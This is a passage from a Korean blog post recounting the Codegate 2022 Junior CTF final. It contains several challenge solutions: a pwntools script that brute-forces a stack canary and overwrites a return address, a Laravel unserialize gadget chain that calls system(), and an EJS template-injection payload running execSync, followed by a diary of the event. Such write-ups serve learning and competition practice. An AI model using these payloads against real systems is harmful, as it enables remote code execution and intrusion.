v13 = a1;
v12 = __readfsqword(0x28u);
memset(&v8, 0x41, 32uLL);
v1 = ' si sihT';
v8 = ' si sihT';
v9 = 'irts yek';
v10 = 'gn';
v11 = 0;
v2 = "Enter size > ";
v6 = read_int(&v13, "Enter size > ");
if ( v6 <= 0xFF )
{
v7 = malloc(v6);
read_buf(v7, v6, "Enter buf > ");
v1 = v7;
if ( check_key_validation(&v8, v7, v6) )
puts("key is correct!");
else
puts("key isn't correct! Try again.");
v2 = v7;
free(v7);
}
v5 = __readfsqword(0x28u);
result = v12 - v5;
if ( v12 != v5 )
result = sub_1120(v2, v1, v3);
return result;
}
signed __int64 __fastcall check_key_validation(__int64 a1, __int64 a2, int a3)
{
__int64 v4; // [rsp-8h] [rbp-8h]
__asm { endbr64 }
*(&v4 - 3) = a1;
*(&v4 - 4) = a2;
*(&v4 - 9) = a3;
for ( *(&v4 - 1) = 0; *(&v4 - 1) < *(&v4 - 9); ++*(&v4 - 1) )
{
if ( *(*(&v4 - 1) + *(&v4 - 3)) != *(*(&v4 - 1) + *(&v4 - 4)) )
return 0LL;
}
return 1LL;
}
마찬가지로 gift 함수가 있고 다음과 같다.
check_key_validation을 무한히 돌릴 수 있기 때문에 size를 1씩 늘려가며 카나리를 브포 때려서 맞추고, bof 로 ret을 gift로 덮으면 된다.
from pwn import *
while True:
#p = process('./findYourKey')
#context.log_level = 'debug'
p = remote('3.34.135.116', 5333)
s = b'This is key string\x00' + b'A' * 13 + b'\x00' * 9
canary = b'\x00'
for i in range(7):
for bf in range(1,256):
tmp = s + bf.to_bytes(1,byteorder='little')
#print(i,tmp)
p.sendlineafter('>','y')
p.sendlineafter('size >', str(len(tmp)))
p.sendlineafter('buf > ', tmp)
if b"isn't" not in p.recvuntil('\n'):
s = tmp
canary += bf.to_bytes(1,byteorder='little')
break
print(canary, len(canary))
p.sendlineafter('> ','e')
p.send(b'a'* 24 + canary + b'a'*8 + b'\xb1\x62')
try:
a = p.recv(30)
if b'*' in a:
p.close()
continue
print(a)
p.interactive()
except:
p.close()
continue
PIE가 걸려있기 때문에 RET overwrite 할 때도 0.5 byte를 때려 맞춰야한다.
오프셋이 12A9 이므로 _2A9 이 _ 를 맞춰야하는데, 로컬에서 아무리 돌려도 안나오길래 12B1 부분으로 바꿨더니 되었다.
'6'2B1으로 설정한 뒤 돌리다보면
된다.
7. Commands - 10 solves / MISC
리듬게임 열심히 하다보면 플래그가 점점 복호화 되는데, 미스크인 만큼 리버싱하는건 좀 버그라고 생각했다.
카톡 매크로 C로 만든 경험 살려서 만들어보려다가 잘 안돼서 C# WinForm의 SendKeys를 이용했다.
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Threading;
using System.Runtime.InteropServices;
namespace WindowsFormsApp2
{
public partial class Form1 : Form
{
[DllImport("user32.dll")]
private static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
[DllImport("user32.dll")]
private static extern bool SetForegroundWindow(IntPtr hWnd);
public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
SetForegroundWindow(FindWindow(null, "C:\\WINDOWS\\system32\\cmd.exe"));
for (int i = 0; i < 10000; i++)
{
SendKeys.SendWait("{LEFT}");
Thread.Sleep(10);
SendKeys.SendWait("{RIGHT}");
Thread.Sleep(10);
SendKeys.SendWait("{UP}");
Thread.Sleep(10);
SendKeys.SendWait("{DOWN}");
Thread.Sleep(10);
SendKeys.SendWait(" ");
Thread.Sleep(10);
}
}
}
}
그냥 켜두면 끝까지 플래그가 나온다.
8. Larachain - 10 solves / Web
Illuminate/Support/Facades/Route unserialize 관련해서 구글링 좀 하다 보면
https://hackyboiz.github.io/2022/05/22/syru/cve-2022-30778/
위 글을 볼 수 있다.
문제랑 똑같다. 출제자분이 블로그 게시자분일 수 있겠다 생각이 들었다. (해끼보이즈는 고수니까)
<?php
namespace Illuminate\Contracts\Queue{
interface ShouldQueue
{
//
}
}
namespace Illuminate\Bus{
class Dispatcher{
protected $container;
protected $pipeline;
protected $pipes = [];
protected $handlers = [];
protected $queueResolver;
function __construct()
{
$this->queueResolver = "system";
}
}
}
namespace Illuminate\Broadcasting{
use Illuminate\Contracts\Queue\ShouldQueue;
class BroadcastEvent implements ShouldQueue {
function __construct()
{
}
}
class PendingBroadcast{
protected $events;
protected $event;
function __construct()
{
$this->event = new BroadcastEvent();
$this->event->connection = "id";
$this->events = new \Illuminate\Bus\Dispatcher();
}
}
}
namespace{
$a = new \Illuminate\Broadcasting\PendingBroadcast();
echo base64_encode(serialize($a));
}
?>
위 코드에서 id를 cd .. ; ls , cat ../flag.txt 처럼 바꿔서 넘기면 RCE 된다.
cat ../flag.txt 로 하면 정답을 얻을 수 있다.
codegate2022{living_point:unserialize_1s_d4nger0us}
9. Welcome - 8 solves / Web
const express = require('express');
const session = require('express-session');
const bodyParser = require('body-parser');
const app = express();
const IP = '0.0.0.0'
const PORT = 8080
app.use(session({secret: 'secrt',saveUninitialized: true,resave: true}));
app.use(express.static('public'))
app.use(express.urlencoded({ extended: true }));
app.use(express.json());
app.set('view engine', 'ejs')
var sess;
app.get('/login',(req,res) => {
res.render('login', {error: ""});
});
app.post('/login',(req,res) => {
data = req.body.nickname;
sess = req.session;
sess.grant = "guest"
if(data == null){
data = {nickname:"guest"};
} else if(typeof(data) == "string"){
data = {nickname:data};
}
var reg = /^[a-z]+$/i;
if(reg.test(data.nickname)){
Object.entries(data).forEach(([key, value]) => {
sess[key] = value;
});
res.redirect('/');
} else{
res.render('login', { error: "Nickname should not contain any special characters" })
}
});
app.get('/', (req,res) => {
sess = req.session;
if(!sess.nickname){
res.redirect('/login');
}else if(sess.grant == "admin"){
res.render('admin', sess)
}else{
res.render('home')
}
});
app.get('/logout',(req,res) => {
req.session.destroy((err) => {
if(err) {
return console.log(err);
}
res.redirect('/login');
});
});
app.listen(PORT, IP);
regex 우회해서 sess 의 grant 를 admin 으로 설정하면 어드민 템플릿을 렌더하는 기회를 얻게 된다. 이를 어따 쓸꼬 하며 구글링하다가 ejs RCE를 발견했고, 버전이 3.1.6으로 되어있는거 보고 이게 맞구나 싶었다.
먼저 grant 우회는 다음과 같이 할 수 있다.
위 글을 바탕으로 공격날리면 되는데, 마땅한 서버도 없고 포트포워딩도 안되고 해서 에러메시지 띄워서 확인하는 방법으로 체크했다.
{
"nickname":{"grant":"admin","nickname":"test", "settings":{"view options":{"outputFunctionName":"x;var tmp=process.mainModule.require('child_process').execSync('cat /flag').toString();process.mainModule.require('child_process').execSync(tmp);s"}}}
}
codegate2022{Hell0w_We11c0me_intrudeR_5a2d31}
위 문제를 풀던 중 저녁 메뉴가 배달되었다.
메뉴는 바로 BHC 순살 후반양반 치킨이었다.
주니어부는 개인전이기 때문에 옆에 사람 한 명과 같이 2인 1닭하게끔 나눠주셨다.
사진을 못 찍었는데 양념치킨이 꽤 맛있었다.
또 앞 테이블에 음료 / 마가렛트 / 오뜨 / 오예스 / 찹쌀 과자 / 남은 치킨 / 피자 등 많은 먹거리가 있었다.
10. Recovery File - 12 solves / forensic
FTK Imager로 파일을 열어서 $RECYCLE.BIN 에 간 후 $R~ 파일을 export 하면 pdf 에 FLAG 가 있다.
codegate2022{039ed1aa0c6eb78fbe2d856d9861ab37e61056947b5ed1027e0e338618725b0f}
이후 남은 시간 리버싱 보다가 순위가 많이 밀려서 맘 놓고 있었다. 생각해보면 그냥 포너블 잡고 있었으면 4순위 정도는 올라갔을 것 같기도 했다.
대회 종료 후 에스컬레이터 타고 내려오며 찍은 사진. 내일 있을 컨퍼런스를 위한 사전 준비가 되어있었다.
티오리 분들께서 빼빼로와 비타오백을 준비해주셨고, 박세준 대표님이 계시길래 용기내서 사진 한장 부탁드렸다.
저번 CCE 때도 그렇고 확실히 수상 이외에도 얻어갈 것이 많은 오프라인 대회인 것 같다고 느꼈다.
봉은사역에서 개화방향 열차를 탔는데, 알고보니 급행이었다. 봉은사역에 급행이 서나? 싶었고 가양역에서는 서나? 당황했지만 네이버 지도를 보니 가양역도 급행이 들렀다. 확실히 급행은 빨랐다.
다음 날. 시상식 참여를 위해 아침 9시 반 전까지 코엑스 그랜드볼룸 로비에서 만나기로 하였다.
대회 날 지각했기 때문에 7시 20분에 7700을 탔다. 가양역에 8시 5분쯤 도착했고, 이번에는 급행 타서 9시 20분에 도착할 수 있었다. 출석 체크 한 후 30분에 그랜드 볼룸 안으로 들어가니 시상식 세팅이 되어있었다.
일정에 양자보안에 관해 40분 가량 이야기하는 강연이 있었다.
이후 일반부 대회가 종료되고 일반부 / 대학생부 분들이 들어오셨는데, 포스가 장난 아니었다. 오프라인 대회 경험도 없었고 코드게이트는 처음이라 그런지 외국인 참가자분들이 신기했다.
10분의 쉬는 시간 후에 코드게이트 이사장님, 중소벤처기업부 장관 이영님, 안철수 의원님, 민주당 의원님(성함을 못 봤다), 과기부 장관님의 소감을 영상으로 보게 되었다.
https://www.boannews.com/media/view.asp?idx=92268&kind=
이영 의원님은 2020 정보보호올림피아드에서 뵌 적이 있어서 반갑기도 했다.
일반부 우승은 더덕팀 2위가 러시아에서 오신 분들이었다.
나도 올라가서 단체 사진도 찍고 시상식이 마무리가 되었고, 바로 앞 로비에서 컨퍼런스가 진행되고 있었다.
가양역 1번 출구로 나와서 버정으로 가는데 냄새가 너무 좋았다. 너무 시원하고 너무 상쾌하고 너무 맑았다.
화곡역을 지난 길에 가로수가 죄다 저 나무였는데, 웬만한 건물 4-5층 보다 높아 신기해서 사진에 담았다.
마지막 학생부 참가 오프라인 대회로 아주 기분 좋았던 대회였다.
'CTF Writeup' 카테고리의 다른 글
2022 Layer7 CTF Writeup (0) | 2022.12.19 |
---|---|
2022 WhiteHatContest Junior Final Writeup (0) | 2022.11.20 |
2022 WACon CTF - babystack 2022 etc (0) | 2022.06.26 |
Codegate 2022 Junior 예선 WriteUp (0) | 2022.02.27 |
2021 Layer7 CTF 후기 / Writeup (1) | 2021.11.25 |